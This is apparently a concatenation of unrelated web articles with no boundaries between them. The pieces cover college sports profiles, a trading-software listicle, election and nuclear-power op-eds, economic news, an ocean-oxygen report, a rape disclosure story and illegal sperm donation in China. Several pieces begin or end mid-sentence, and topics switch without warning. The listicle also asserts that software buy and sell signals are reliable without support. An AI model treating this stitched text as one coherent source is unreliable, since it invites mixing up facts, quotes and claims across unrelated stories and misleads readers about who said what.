(H) Plasma FGF21 levels in human subjects maintained at hyperglycemia via dextrose infusion for 0, 2, and 24 hr (n = 10).
(I) Plasma FGF21 levels in WT and ChREBP KO mice ad libitum fed chow and 10% sucrose ad libitum for 24 hr (n = 5–8/group). Values are represented as mean ± SEM (∗p < 0.05; ∗∗p < 0.01; ∗∗∗p < 0.005; ∗∗∗, #p < 0.001 compared to WT).STATE COLLEGE, Pa. -- Jesse James is a freak of nature.
Really, there's no other way to describe the 6-foot-7, 272-pound tight end. Coaches and teammates tried their best Saturday to brainstorm other fitting adjectives or ways to encapsulate the junior's ability. But, without fail, they kept returning to that same phrase.
"Jesse is just a freak of nature," fellow Penn State tight end Adam Breneman said. "I don't know how else to describe him."
Added strength coach Dwight Galt: "He's a freak.... Athletically, talent-wise, there's not another tight end in the country better than him, for sure. He's got speed, he's got strength, he's got agility, he's got size. He's got everything."
The 6-foot-7 Jesse James can bench-press 225 pounds 27 times and he runs the 40-yard dash in about 4.6 seconds. Matthew O'Haren/USA TODAY Sports
James lived up to that billing during Saturday afternoon's annual Lift for Life event, which pit the offense and defense against one another in seven strength competitions while helping raise money to fight kidney cancer. During the 225-pound bench press, the weights exploded off James' chest so quickly it was as if they came from a balloon stand. The tight end's spotter called out "Seven!" before his defensive end opponent reached three.
The reps came so quickly, it was easy to lose count. Once finished, a Penn State trainer turned to James' spotter and asked about the final tally. Upon hearing the answer, he just shook his head and looked confused: "What?... Twenty-seven?" James' teammates alternated between head-shaking and patting him on the shoulder.
Had James reached that number in any of the last 10 NFL combines, he would've placed within the top five at his position -- and he would've been at the very top in 2008 and 2011. Compared to the most recent combine, his 27 reps were two fewer than first-round offensive tackle Taylor Lewan and one more than first-round defensive tackle Dominique Easley.
"He'll surprise you every day. You never know what's coming with Jesse," Christian Hackenberg said. "It's actually interesting when you get out there with what he does, just how good he is and how fast he is and how strong he is."
It's not easy to overthrow James, who reportedly runs in the 4.6 range and stands as the second-tallest player on the 121-man roster. That might have something to do with his recent addition to the Mackey Award watch list. Of course, the fact he's Penn State's leading returnee with 25 catches and 333 yards doesn't hurt either.
Put simply, yes, the guy's a freak.
"To get a guy that big that does what he does, I haven't seen that," Galt said. "I've been really lucky. I had five tight ends in the NFL at one time, including Vernon Davis and Dan Gronkowski, Rob's brother, and I'll tell you what -- I'll put Jesse James up there with any of them. The kid is really that athletic and that good of a player."
Players spoke in such revered and hyperbolic fashion about James that, at times, it seemed as if they were discussing Bigfoot or the Loch Ness Monster. Tailback Akeel Lynch just laughed when asked about what impressed him most about James and cautioned that it might not sound believable.
While most players dead lift with five or six plates and let out painful groans between each lift, Lynch said, Penn State's tight end takes it a step further. Lynch smiled, bent his knees and pantomimed lifting up and down with ease. "And he puts the max weight you can on a bar," Lynch said. "He's a freak. He's a good guy, but he's a freak."
On Saturday, James performed 12 reps on the dead lift at 495 pounds. And he promised before the event that he planned to take it easy since this was for charity. ("I won't put too much on today, but it'll be fun.") So what exactly is the max weight the junior can dead lift?
"I have no idea," he said matter-of-factly, with a slight shrug. "We haven't found it."
James is one of the last players who would exaggerate his talent. The aw-shucks kid from the small, blue-collar borough of Glassport, Pennsylvania, didn't mind dissecting Hackenberg's improvement or waxing poetic on how the freshman receivers were coming along. But it was as if his white T-shirt grew itchy whenever he was asked about himself.
"I'm not really the person to talk to about that," James said. "That's just how I was raised."
Added offensive guard Miles Dieffenbach: "That's the way he is. Modest guy, really good guy."
Humility might serve him well, but the Nittany Lions need someone to step up in a big to make up for more than 125 receptions of lost production from last season. (Allen Robinson, who caught 97 balls in 2013, is now in the NFL.) James is certainly a candidate to be that player, at least in the end zone, and expectations are soaring for the junior.
It's still to be determined how James' speed and strength will transfer over to the gridiron this season. But at least one thing is for certain.
"He's a freak," Dieffenbach said. "A freak of nature."Here is the list of top 5 best technical analysis software India & World picked by Nifty Trading Academy. The digitization of trading in India has increased the use of the trading software. While some applications are free, some are paid. Whether premium or free, the reliability and accuracy of the software is what counts most.
who gives you an insight into the most accurate programs available in the market. These applications offer a bundle of functions like in-built indicators and alert features.
About Technical Analysis Software
It gives automated charting, reporting, and exploration. The functions are for safe trading by accurate research of the markets. The top tools allows users to build their own trading systems. Traders can set their buy and sell rules. The system gives signals as per the set rules and formulas. Prediction of the markets becomes easier with simple tools.
[ Must Read : Intraday Trading Indicators ]
List of Top 5 Technical Analysis Software
Traders look for a variety of information on the basis of their need. The main features of the applications will help you choose your best one.
1. eSignal Platform
Traders uses this window based application for building custom indicators. It uses e signal users in the base from which programmers write indicators. The application uses java script for the basis if scripting language. eSignal give real-time market data, news and analytics.
http://www.esignal.com/
2. AmiBroker India
Amibroker is the first of its kind modern Technical Analysis Software. It offers abundant features like indicators, a formula language, and back-testing. It allows you to build your own in-house trading system with simple coding.
[ Know More About : Amibroker Software ]
3. Profit Source Platform
The application is the best for the active traders. Profit Source Platform offers above 40 indicators. A good platform for short term traders to track best entry and exits. However, it is expensive if you are a beginner or a short term trader. It is best for professional investors to track specific stocks.
http://www.profitsource.com/
4. Ninja Trader
Ninja Trader is a 360 degree trading solution covering order entry to execution. It also allows intraday trading system development and third party data integration. It is one of the most common research platforms. Newbie traders prefer it for learning a smart trade.
http://ninjatrader.com/
5. Meta Stock Trader
Meta Stock is among the top popular tools of modern times. It offers 300 Intraday indicators and built-in tools. The buy and sell signals from Meta Stock are quite reliable. It offers different options for swing traders, EOD, and day traders.
https://www.metastock.com/
There are many other tools like Wave59, and VectorVest in the market. The top picks from Nifty Trading are known for giving accurate results. Seasoned traders can use applications as per their trading strategies. If you have already tried multiple system, you can choose the best suitable to you. Make sure the trading tools fits well with your individual trading needs.
Beginners should use reputed tools to get near to definite T.A.. Select the tools with nominal price with basic functions. This one ensures for safe trading. They are very good for all types of traders to increase their productivity.Brad Friedman Byon 11/1/2010, 2:46pm PT
Late last week, AOL News asked me to contribute an op-ed for their Election Eve coverage. That op-ed, which they've headlined "Cast Your Ballot Against Electronic Voting", is now posted here...
The upshot of its argument: If Republicans are set to take over the U.S. House, as predicted, and if they've suddenly found religion in regard to the dangers of electronic voting, as they seem to be asserting in North Carolina, in Nevada and in Texas, then it'll soon be their turn to take legislative action to once and for all ban the horrific, anti-democratic (small "d"), 100% unverifiable Direct Recording Electronic (DRE, usually touch-screen) voting systems plaguing our nation before they are again used to pervert results of the 2012 Presidential Election --- just as they have every year since they've been introduced into our electoral system (by a majority Republican Congress, by the way, in 2002.)
Please check it out and leave some nice (or not so nice) comments there, as you see fit. Lot's of disinformed bumpkins seem to currently be weighing in. Please free to straighten them out. Politely.
* * *
Other pieces I've contributed elsewhere of late, in advance of tomorrow's election:
• For Salon: "The Faith-Based Vote"
• For Truthout: "Hacking Harry Reid (or, Sharron's Angle)"
* * *
Please support The BRAD BLOG's fiercely independent, award-winning coverage of your electoral system, as available from no other media outlet in the nation, with a donation to help us keep going (Snail mail, more options here). If you like, we'll send you some great, award-winning election integrity documentary films in return! Details right here...Amongst the serried ranks of capitalists who drove European industrialisation in the nineteenth century, the Rothschilds were amongst the most dynamic and the most successful. Establishing businesses in Germany, Britain, France, Austria, and Italy the family soon became leading financiers, bankrolling a host of private and government businesses ventures. In so doing they played a major role in fuelling economic and industrial development across Europe, providing capital for major projects, particularly in the mining and railway sectors. Nowhere was this more apparent than in Spain, where for more than a century the House of Rothschild was one of the primary motors of Spanish economic development. Yet, despite the undoubted importance of the Rothschild's role, questions still remain regarding the actual impact of these financial activities and the effect they had on financial sectors, companies and Spanish markets. It is to such questions that this book turns its attention, utilising a host of archive sources in Britain, France and Spain to fully analyse the investments and financial activities carried out by the Rothschild House in Spain during the nineteenth and early twentieth centuries. In so doing the book tackles a variety of interrelated issues: Firstly, fixing the period when the main capital entries sprung from the initiatives taken by the Rothschild family, how consequential they really were, and the sectors they affected. Secondly, quantifying the importance of these investments and financial activities and the weight they had on financial sectors, companies and Spanish markets, as well as in foreign investment in each period. Thirdly, outlining the steps followed and means used by the Rothschild House in order to achieve the success in each of their businesses. Finally, analysing the consequences of this phenomenon in the actual growth of Spanish contemporary economy, both in a general and in a partial scale. By exploring these crucial questions, not only do we learn much more about the working of one of the leading financial institutions and the development of the Spanish economy, but a greater understanding of the broader impact of international finance and the flow of capital in the nineteenth century is achieved.A Florida man is accused trying to choke his girlfriend after standing outside of her home naked and screaming.
Authorities received a disturbance call on Tuesday night and arrived to find Michael Person, 24, of Palm Coast, standing naked outside of his girlfriend’s front door and screaming, according to the Daytona Beach News-Journal.
>> Florida man says he doesn't want to go to jail because there’s no beer
Person tried to put a chokehold on his girlfriend before deputies used a stun gun on him, according to the Daytona Beach News-Journal.
The victim told authorities that she has been dating Person and she didn’t want to press charges.
Deputies say that Person kicked the back window of a patrol car and while at a hospital, he kicked a deputy in the mouth.
>> Florida woman ‘blacked out’, stabs husband with pen
Person was arrested and charged with battery domestic violence, resisting arrest and battery on a law enforcement officer.
See who was recently booked into the Palm Beach County Jail
Read more at the Daytona Beach News-Journal.Compton rap artist Kendrick Lamar’s most recent album, “To Pimp a Butterfly,” completely contrasts the simplistic Top 40 sounds that dominate modern-day radio stations. Lamar’s second major label release represents 2015’s resurgence of jazz influence and live instrumentation in rap. The funky, popping bass provided by Thundercat puts the groove in “King Kunta,” while Terrace Martin’s screeching saxophone wails in between songs.
Lamar’s third stop on his Kunta’s Groove Sessions tour at the LC Pavilion in wet downtown Columbus on Saturday evening was shaping up to be a showcase of the critically-acclaimed “TPAB.” But without the live presence of the aforementioned musicians, most of Lamar’s 15-song set consisted of hits off of the three-year old “Good Kid, M.A.A.D City.”
That does not go without saying that the drenched concertgoers at the packed LC Pavilion thoroughly enjoyed the high-energy performance. K-Dot, one of Lamar’s aliases, began the show with the smooth “Money Trees,” but he quickly sped things up by following up the introduction with the vociferous “Backseat Freestyle.” From this point forward, Lamar had the crowd under his control.
After running through popular “GKMC” cuts such as “Swimming Pools (Drank)” and the remix to “B—-, Don’t Kill My Vibe,” Lamar pulled out a familiar tactic. The Compton MC frequently looked into the crowd for the most studious fan and challenged him or her to spit the lyrics (more like describe the horrors) to the track “m.A.A.d city.” Saturday night’s contestant shredded through K-Dot’s song, inciting a frenzy at the LC.
At this point in the show, Lamar had now been on the stage for nearly an hour without performing one song off of the one of the only rap albums in 2015 challenging Drake on the Billboard chart. Even though “GKMC” features the most energetic tracks in Lamar’s catalog, the crowd’s substantial reaction to a beat drop came when “King Kunta” began to blare throughout the LC. Unfortunately, without the aid of live instrumentation, the bass took away and muffled the many moving parts powering the groovy standout rap.
While “GKMC” is more of a first-hand account of the dangers Lamar experienced in his hometown of Compton, “TPAB” is an outer introspective look at his city after achieving fame. That may be why Lamar does not perform many tracks off his latest release while on tour; “TPAB” is somewhat difficult to digest upon first listen.
A handful of “TPAB” songs touch on his view of racial issues and gang violence in America, which are usually foreign topics for an artist to discuss in a concert setting. That is why it came as no surprise when Lamar announced before his performance of “Hood Politics” that he had only performed the song live a few times. This was the only seemingly oddly-placed track in Lamar’s set, but the crowd was into it because Lamar was.
Before signing off and promising Ohio that he will continue to return to perform if his fans continue to bring their intensity, Lamar closed out the show with the Isley Brothers’-influenced, self-love anthem “i” and an encore of the self-assuring “Alright.” The rain had picked back up after drizzling throughout K-Dot’s set. The vibes that Lamar gave off all night had now spread throughout the LC, so being soaked seemed to matter to very few. One final song was demanded from the crowd.
Pharrell’s hook on “Alright” poses the question, “Do you hear me, do you feel me?” to the audience. The final message that Lamar wanted to portray was one of unity. Concerts bring people with similar interests together, and “Alright” communicates to listeners with common views and beliefs that as long as we have each other, things are going to be alright.
The tracks on “TPAB” may not be the catchiest or most straightforward, but Lamar made sure that the valuable advice given on his latest release was not lost by saving it for last. Hopefully one day Lamar tours with a band to share the entire experience of “To Pimp a Butterfly,” but for now, fans will have to enjoy only small doses.It’s weird to think that one year ago today Barack Obama was still the president. Michelle Obama was decorating the White House with happy snowmen and gingerbread dogs instead of transforming the East Colonnade into a hell-bound gullet of witch fingers, apparently our new tradition, and the president of the United States somehow made it through the entire week without insulting a single 90-year-old Native American war hero.
Many of us were angry and terrified but still energized about things like vote audits and faithless electors. We hoped the system might have a fail-safe to protect us from our worst selves — a flash-frozen grown-up to defrost in case of emergencies. Now, a year wiser and few thousand older, in too many ways we are still waiting. It hasn’t clicked with the necessary urgency that we are the grown-ups. We are still frozen.
Every year, Dictionary.com chooses one word, “a symbol of the year’s most meaningful events and lookup trends,” to be the Word of the Year. The past few picks seem to follow a chilling but logical evolution. In 2015 the Word of the Year was broad and neutral — “identity” — issues of racial and gender injustice having finally come closer to becoming national priorities and weathered a ghastly but predictable (and still developing) backlash. Two thousand fifteen was a difficult year, but it was a year of progress.
By the end of 2016, as Trumpism seized the wheel, our national conversation on identity sharpened to a sinister specificity: that year’s word was “xenophobia.” Two thousand sixteen was a year of us versus them, of villains making their plans clear, of straight, white, Christian identity politics moving to supplant everyone else.The impasse in Washington has not only dominated the political debate since the election, but also become a leading worry for corporate America. President Obama met with business leaders on Wednesday to seek their support in negotiating a compromise, the second time he has sat down with prominent corporate chiefs this month, while Wall Street has wavered with each zig and zag of the debate.
The president and Congressional Democrats favor letting Bush-era tax cuts expire for top earners, while many Republicans have opposed any rise in tax rates and are pressing for greater reductions in federal spending.
Photo
Most observers expect a short-term compromise to be found that blunts the full effect of the tax increases and spending reductions, but economists say the risks to future growth are mounting. If a deal is not reached, the economy will grow at an annual rate of just 1.1 percent in 2013, according to a new forecast issued Thursday by Macroeconomic Advisers, with unemployment rising to 8.5 percent by the end of the year.
Unemployment now stands at 7.9 percent, still far above the level before the financial crisis and the recession, and it is not expected to come down significantly unless economic growth accelerates. For now at least, that seems unlikely.
“Over all, it was a disappointing report,” said Michelle Meyer, senior United States economist at Bank of America Merrill Lynch. The accumulation of inventories went from subtracting 0.1 percentage points from the initial estimate to adding 0.8 percentage points, she said.
“A lot of that inventory build was unintentional, which suggests a downside risk for the fourth quarter,” she said. “Businesses had expected stronger sales and consumer spending and were caught off guard.” Ms. Meyer said she expected the economy to grow by 1 percent in the fourth quarter of 2012.
Photo
The government also reported on Thursday that first-time unemployment claims dropped by 23,000, to 393,000, last week. But Ms. Meyer cautioned that these figures were much more volatile than usual because of the Thanksgiving holiday and Hurricane Sandy.
Advertisement Continue reading the main story
The weak underlying data in the report on third-quarter performance prompted Maury Harris, chief United States economist at UBS, to cut his projected estimate of fourth-quarter growth to 1 percent from 1.6 percent. “Part of this is Sandy and part of this is the inventories,” he said.
The uncertainty about what will happen in Washington is reflected in the sharp divergence of views among economists about growth in the first quarter of 2013. While Mr. Harris sees growth rebounding in early 2013, to an annual rate of 2.1 percent, Ms. Meyer estimates the rate of expansion will be less than half of that at 1 percent.
The Commerce Department data suggests that in spite of the caution about the future, the overall picture for companies remained healthy, with United States corporate profits reaching a record in the third quarter.
Photo
The increase from the second quarter was entirely a result of stronger business performance at home. Profits received from American-owned businesses abroad fell slightly in the third quarter, which may not be surprising given the recession in Europe and the slowdown in China.
There were signs of optimism in Thursday’s data. Residential fixed investment rose 14.2 percent, a sign that the housing recovery was gaining steam. A separate report from the National Association of Realtors showed pending home sales rose to a two-and-a-half-year high.
Indeed, not all economists took a pessimistic view.
“Just because the private sector is going into neutral doesn’t mean we have to automatically have a recession,” said Michael Gapen, senior United States economist and asset allocation strategist at Barclays. “Households are deleveraging, corporate balance sheets are strong, and business isn’t overextended.
“Short of a policy mistake in Washington, it’s tough to get a recession right now,” he said.
The new estimate of growth represents a substantial increase in the level of the second quarter, when the economy grew at a rate of just 1.3 percent. It also marks the fastest rate of expansion since the fourth quarter of 2011, when the economy grew at a 4.1 percent annual pace.
This was the second of the government’s three estimates of quarterly growth. The final figure is scheduled for Dec. 20.Karl Henry predicts bright future for QPR youngsters coming through
QPR midfielder Karl Henry has high hopes for a number of youngsters at the club EMPICS Sport
QPR midfielder Karl Henry has heaped praise on a number of the club’s youngsters, predicting a bright future for many of them trying to make the grade at Loftus Road.
Share Email this article to a friend To send a link to this page you must be logged in.
The 33-year-old, who is in discussions over extending his three-year spell in W12, has been encouraged with recent displays from the likes of Matt Ingram, Cole Kpekawa and Michael Petrasso.
He told the Times: “I’ve been really impressed with the young lads who have come in.
“It’s very difficult as a young defender to come into a team, especially in the Championship, so to slot in the way Cole has done has been great.
“I thought Mikey Petrasso did really well in what was a difficult game for us all at Burnley too, and was perhaps unfortunate not to play again [against Bristol City].
“Matty has been brilliant in goal as well. I’m sure the manager has been closely monitoring his progress and wondering whether he could handle playing first-team games at this level yet - and he’s come through with flying colours.
“There are other young players as well here who look promising, that’s what the fans want to see [youngsters coming through the system].
“It’s something that clubs want as well. They invest a lot of time and money in the hope of seeing some of those younger players breaking through.
“There are lots of good players that you see at the ages of 16 to 18 that appear nailed on to make it, but for one reason or another don’t get that opportunity. Timing is crucial and you need a bit of luck.
“Hopefully the lads here can come through, get some regular football at this level and go on to have good, long careers.”When it comes to the safety of nuclear power plants, I am biased. And I’ll bet that if President Barack Obama had been with me on that trip to Chernobyl 24 years ago he wouldn’t be as sanguine about the future of nuclear power as he was Tuesday in an interview with a Pittsburgh television station: “Obviously, all energy sources have their downside. I mean, we saw that with the Gulf spill last summer.”
Sorry, Mr. President, but there is a dimension of fear properly associated with the word nuclear that is not matched by any oil spill.
Even 11 months after what has become known simply as “Chernobyl” I sensed a terror of the darkest unknown as I donned the requisite protective gear and checked Geiger counter readings before entering the surviving turbine room adjoining plant No. 4, where the explosion had occurred.
It was a terror reinforced by the uncertainty of the scientists who accompanied me as to the ultimate consequences for the health of the region’s population, even after 135,000 people had been evacuated. As I wrote at the time, “particularly disturbing was the sight of a collective farm complete with all the requirements of living: white farm houses with blue trim, tractors and other farm implements, clothing hanging on a line and some children’s playthings. All the requirements except people.”
Back then, working for the Los Angeles Times, I had been covering the nuclear arms race, and my invitation to be the first American newspaper reporter to visit Chernobyl came from one of Mikhail Gorbachev’s top science advisers, Yevgeny P. Velikhov, whom I had interviewed on arms control issues.
Velikhov had led the effort to contain the damage at Chernobyl, risking his health in the immediate days after the incident by flying low over the contaminated reactor site in a helicopter, as well as by scaling the sidewall of the damaged reactor to more accurately evaluate the situation.
His point in arranging my visit was to demonstrate the terrifying consequence of a “peaceful” nuclear explosion, let alone one resulting from a weapon designed to inflict mass destruction. It was an argument he advanced with the military in his own country about the folly of nuclear war-fighting scenarios: “After two weeks of discussion with the army corps, I asked how you wish to survive a nuclear war if you have no possibility to clean this small piece of nuclear garbage.”
This was a sentiment echoed by Harvard physicist Richard Wilson, who also made that Chernobyl trip, and who pointed out that with nuclear weapons “one is dealing with a technology designed to explode that is also under the control of human beings.”
An important lesson that should be reinforced by the ongoing disaster in Japan is to worry more about the elimination of those nuclear weapons designed to explode, and another is to be concerned about the prospect of sabotage of nuclear power plants. This last is a reason to rely less on nuclear power in a world made volatile not only by natural disasters but through the concerted efforts of those who can fly airplanes into targets of their choice. At the very least, the expense of properly maintaining the internal safety and external security of power plants should be considered in any cost-benefit analysis of their usefulness as an alternative source of energy.
I know there will be an attempt to sell us the argument that the odds of a catastrophic earthquake and a catastrophic tsunami occurring together in an area containing a nuclear power facility are incredibly low, that the Japanese plants in question were of inadequate design and, as in the case of Chernobyl, that “human error” was at fault. Despite the earlier accident at Three Mile Island in Pennsylvania, there was a strong tendency to present the Chernobyl disaster as a warning sign not about nuclear power in general but rather the particular failures of a rotting Soviet economy.
After the Japanese experience, such cavalier dismissal of the intrinsic problems of nuclear power is no longer plausible. Recall that it was Obama himself who in October 2009 celebrated Japan as the model for nuclear power expansion: “There is no reason why, technologically, we can’t employ nuclear energy in a safe and effective way. Japan does it and France does it, and it doesn’t have greenhouse gas emissions. …”
As journalist Kate Sheppard points out in Mother Jones online: “Nuclear power is part of the `clean energy standard’ that Obama outlined in the State of the Union speech in January. And in the 2011 budget the administration called for a three-fold increase in federal loan guarantees for new nuclear power plants, from the $18.5 billion that Congress has already approved to $54.5 billion. `We are aggressively pursuing nuclear energy,’ said Energy Secretary Steven Chu in February 2010 as he unveiled the budget. … In Monday’s White House press briefing, press secretary Jay Carney said that nuclear energy `remains a part of the president’s overall energy plan.’ ”
Trust me, this is not the way we want to go.(Image: Incredible Features/Barcroft Media)
We know the oceans are warming. We know they are acidifying. And now, to cap it all, it turns out they are suffocating, too. A new health check on the state of the oceans warns that they will have lost as much as 7 per cent of their oxygen by the end of the century.
The cascade of chemical and biological changes now under way could see coral reefs irreversibly destroyed in 50 to 100 years, with marine ecosystems increasingly taken over by jellyfish and toxic algal blooms.
The review is a repeat of a study two years ago by the International Programme on the State of the Ocean (IPSO), a coalition of scientists. It concludes that things have become worse since the first study.
Advertisement
“The health of the oceans is spiralling downwards far more rapidly than we had thought, exposing organisms to intolerable and unpredictable evolutionary pressure,” says Alex Rogers at the University of Oxford, the scientific director of IPSO.
Deadly trio
Rogers describes a “deadly trio” of linked global threats. The first is global warming: surface sea water has been warming almost as fast as the atmosphere. The second is acidification – a result of the water absorbing ever more CO 2 from the atmosphere. The third is deoxygenation.
We learned last year that acidification is beginning to affect marine creatures – snail shells in the Southern Ocean are dissolving. But John Spicer of Plymouth University, UK, says “in the lab, low oxygen has a greater effect than acidification”.
The oceans are losing oxygen partly because warmer water holds less oxygen, and partly because warming is greatest at the surface, creating a buoyant surface layer that mixes less with colder layers below. This creates oxygen-poor deep water that could suffocate life on the seabed, the authors warn.
Near some coasts that deep, deoxygenated water can still return to the surface, though, carried by upwelling currents, says Rogers. This could kill marine life in shallow water too. In fact, the report blames oxygen-poor water brought to the surface by the California Current for a massive loss of marine life off North America in the past decade. “This region showed no evidence of hypoxia [low oxygen levels] prior to 2000,” it says.
Ocean deserts
Meanwhile, tagging studies have shown that large fish like marlin, which need a lot of oxygen to fuel their fast metabolisms, are disappearing from some of the areas in the tropical oceans where oxygen is diminishing.
Ralph Keeling of the Scripps Institution of Oceanography in La Jolla, California, predicts using ocean models that the oceans will lose between 1 and 7 per cent of their oxygen this century.
“Low oxygen levels have occurred in previous eras when there were mass extinctions, and now we are seeing signs of a repeat,” says Rogers.
Some oceanographers say the report’s claims of rapid recent ocean deterioration are exaggerated. “To say things are dramatically worse than two years ago is hype,” says Callum Roberts of the University of York, UK. But he agrees that the threat from the deadly trio is real. “The ocean deserts are expanding. We have a squeeze on ocean productivity that will reduce fisheries’ potential in the coming decades if we don’t reduce CO 2 emissions,” Roberts says.The evolution of languages shares certain characteristics with that of genes, such as the predominantly vertical line of transmission and the retention of traces of past events such as contact. Thus, studies of language phylogenies and their correlations with genetic phylogenies can enrich our understanding of human prehistory, while insights gained from genetic studies of past population contact can help shed light on the processes underlying language contact and change. As demonstrated by recent research, these evolutionary processes are more complex than simple models of gene-language coevolution predict, with linguistic boundaries only occasionally functioning as barriers to gene flow. More frequently, admixture takes place irrespective of linguistic differences, but with a detectable impact of contact-induced changes in the languages concerned.
Copyright © 2014 Elsevier Ltd. All rights reserved.The more Jimmer Fredette weighed his options, the more he had one place in mind where he hoped to continue his professional career: Westchester.
“We felt at this point the Westchester Knicks would be the best landing spot,” Fredette said during a media conference call on Monday afternoon, when he detailed the latest chapter of his basketball odyssey.
On Saturday, the Knicks’ NBA Development League affiliate chose the former BYU star with the No. 2 pick in the 2015 NBA D-League Draft. That came 10 days after Fredette was waived by the Spurs, his fourth NBA team in five years.
He said on Monday that upon his release, he mulled over offers from several organizations — including teams overseas — with his agent, Jeff Austin. They eyed Westchester for several reasons:
1) It allows Fredette to remain close to an NBA franchise. It’s no coincidence that the New York Knicks, who play 40 minutes downtown, have 14 players on their 15-man roster. Fredette saw an opportunity to try to land that final spot.
He said the triangle offense, which Westchester also runs, suits his game: “They don’t really get caught up on who’s a point guard, who’s a shooting guard. They just have guards out there who can score, that can handle the ball, that can shoot and you have to be a smart basketball player in order to run it.”
2) It represents a homecoming of sorts. Fredette is from Glens Falls, N.Y., about a three-hour drive upstate. He grew up watching Knicks games on MSG Network during the era of Allan Houston, the assistant GM for New York and head GM for Westchester.
The appeal of returning to the Empire State was an added bonus for Fredette, who said his family would make the trip to the Westchester County Center to watch his games. There’s no better place to try to rediscover the form that made him a star at Glens Falls High School; he even pointed out that two of his best career NBA games came at Madison Square Garden, where he’s averaged 13.0 points (63% FG, 53% 3FG) in 21.3 minutes over four career games.
3) He’s a great fit for the NBA D-League’s free-flowing style. NBA D-League teams averaged 102.0 possessions per 48 minutes, 109.4 points and 26.1 three-point attempts per game last season, compared to the NBA’s averages of 93.9 possessions, 100.0 points and 22.4 three-point attempts.
That should be music to Fredette’s ears. “That’s a big part of it, being able to get in here. I’ve heard it’s high tempo, a lot of possessions, lots of threes. Being in the D-League, I might be able to get into a rhythm and start shooting the ball well and get some confidence and get some reps. I’m excited about that.”
While Fredette has his sights set on Manhattan, he will be auditioning for all 30 NBA teams; NBADL players whose rights are not owned by NBA teams sign contracts with the NBA D-League itself and are thus free agents.
Danny Green, Gerald Green and Hassan Whites |
today and we seem like a normal happy family, just that my little one was born exactly nine months after our marriage.Her birth left me ecstatic and on top of the world, but the only thing that irked me post her birth was the fact that my wife used to spend most of her time at her parents’ house and this continued for good five years. Later, my daughter started going to school and my wife’s trips to her parents’ house decreased with time.It was around this time, my wife hinted at expanding our family and she seemed pretty serious about increasing our brood. I seriously thought the baby would improve our relationship and instantly agreed to her suggestion. But, despite trying for one whole year, my wife was not able to conceive. Our moment of awakening came on the day we got ourselves tested for fertility. The test report suggested that my sperm count was zero.We reached home, all grim with sadness. My wife couldn’t curtail her tears. I empathized with her and apologized to her for not being able to give her another child, she wanted the most at that point of time."I am sorry that you cannot become a mother again, all because of me. But you’ve given me such a wonderful gift in the form of our daughter, and I’ll always be thankful to you for that," I said to her, with a heart full of love. But what she told me after that shook me completely. "She is not your daughter. She was born because a man raped me." I was shocked beyond words. Lost all my senses and went blank for a moment.She broke down and started to relate the horrific incident. "In my home town, a local goon wanted to marry me because he was almost obsessed with me. But I refused. Later, when our wedding was arranged he couldn’t accept rejection. A few days before our wedding, he abducted me with the help of his influential friends while I was coming back from the university after collecting my degree. He raped me out of revenge and later threw me near the house. He told me and my parents that he had taught us a lesson." After that she continued to reveal more: "When I missed my periods, I was already married to you and in our honeymoon period. And when you discovered my pregnancy, I could not get it aborted." She took a deep pause. I did not know what to say or what to do. After the pause, she said, "During initial years of our marriage, I was attending the court sessions with my parents, to get him punished." She paused again. Well, that explained her long absence from the house every now and then. She retired into the room after speaking the last sentence, which went like this, "I will always feel guilty about the fact that our daughter was not fathered by you. That is why I wanted to have another child with you, as the father."I had no words in my mouth, I went mute. After introspecting the situation, which had shaken me beyond imagination, I realized the torment my wife went through for five long years, facing everything all by herself. For five years, she had flashbacks of her rape coming to hound her as out little one played in front of her eyes. She couldn’t hate the child she had given birth to. She had gone through much more trauma than the shock I was trying to gulp down my throat. What happened was not her fault. It was the fault of her rapist, the man who left her scarred and hurt for life. And what was the mistake of the little one I remember holding in my hands while her umbilical cord was still attached to her tiny body?That day I decided to undo the wrongs done to my wife by loving ‘our’ daughter to death.(By Ajay Trivedi)Editor’s note: The following was translated from an article written on wenxuecity.com. In a country where couples are desperate for their one child, their one little prince, when they find out they are infertile their worlds fall apart. Many turn to sperm donation, but are hindered by the sperm shortage in many of China’s sperm banks. This article focuses on the men still willing to donate sperm, albeit illegally, and how they go about doing it. From QQ groups to meetings in dingy bars and bags of sperm this is the world of illegal sperm donation in China.
It is 9 o’clock at night in a dingy bar in Guangzhou’s Yuexiu District, Duan Xuanyu (a pseudonym) is drinking a beer. He gets a call from his wife and says he will be home early. Then, with a mouth full of alcohol, he turns to the couple next to him and says “Pick me and I’ll give you a boy”. He then takes out a bag of sperm, with ice around it, and hands it to them.
This is the world of illegal sperm donation in China. Xuanyu is a sperm donor. The couple he met with have been married for many years but sadly have not had success in conceiving a child. They have tried everything. Not wanting to give up they turned to QQ and that is how they found Xuanyu. The couple will pay Xuanyu for his services and when the woman gets home, using a syringe, she will push the sperm into her uterus.
Xuanyu is not the only donor, there are tens of thousands of men out there, who find themselves at night, standing in the darkness with flashing lights from the bars behind them pulling out their own bags of sperm, or being paid by women to have sex in the hope of conceiving.
The authorities have of course banned such activities but there is a sperm shortage in China and couples who are unable to conceive naturally are going to extreme measures to get pregnant. And QQ groups are helping to facilitate.
Techniques to woo potential clients
Xuanyu stated that he is the planning director at an advertising company. In a 20 minute QQ conversation it is hard to establish his true identity, but he sent screenshots of his desktop showing a logo with words such as “planning” and “material”. The background on the desktop is a great big photo of a smiling child; his 3 year old son. Donors who are already fathers will often send photos of their children to prove their fertility. He also doesn't forget to explain how easily his wife and he conceived, “My wife and I only had sex a few times before we got married, and I always used a condom. We stopped using them when we got married and almost immediately had a child”. Just more evidence to prove how fertile he is.
Getting into the business
Xuanyu has been a donor for two years. When living in Shenzhen he tried to answer the government’s call for donors to Guangdong’s sperm bank. However the two times he called, sperm bank personnel told him Shenzhen was too far from Guangzhou, and so rejected him as it would be too time-consuming.
This left Xuanyu feeling a bit depressed, but he was not put off and ‘went out on his own’. Around a week later he had set up a donor QQ group. The group includes a lot of information about the donors, and when he has time he checks the information: “I will speak privately to women who have put their information on the group and then ask if they want sperm.”
After a while, Xuanyu found himself enjoying the work and talking with the group, because there you can talk openly and frankly about sex: “Under normal circumstances, if I were to talk to a stranger about sperm or her husband’s fertility issues, I’d be accused of being indecent.” He has also found sperm donation a good source of income.
Xuanyu went on to say that these ‘abnormal donation channels’ are conducted by donor and recipient meeting privately either through direct contact or through an illegal fertility clinic. The QQ group has become very popular, especially among donors, because whether the woman conceives or not, the donor will make very good money. Some can make thousands of RMB.
“Almost forgot my payment; I wanted to get outta there so fast”
In February 2012 a 30 year old Xuanyu made his first donation. He hid in the toilet of a bar. There were water stains on the sink where he put a sandwich box filled with ice; with a shaking hand he held the box and turned his body….
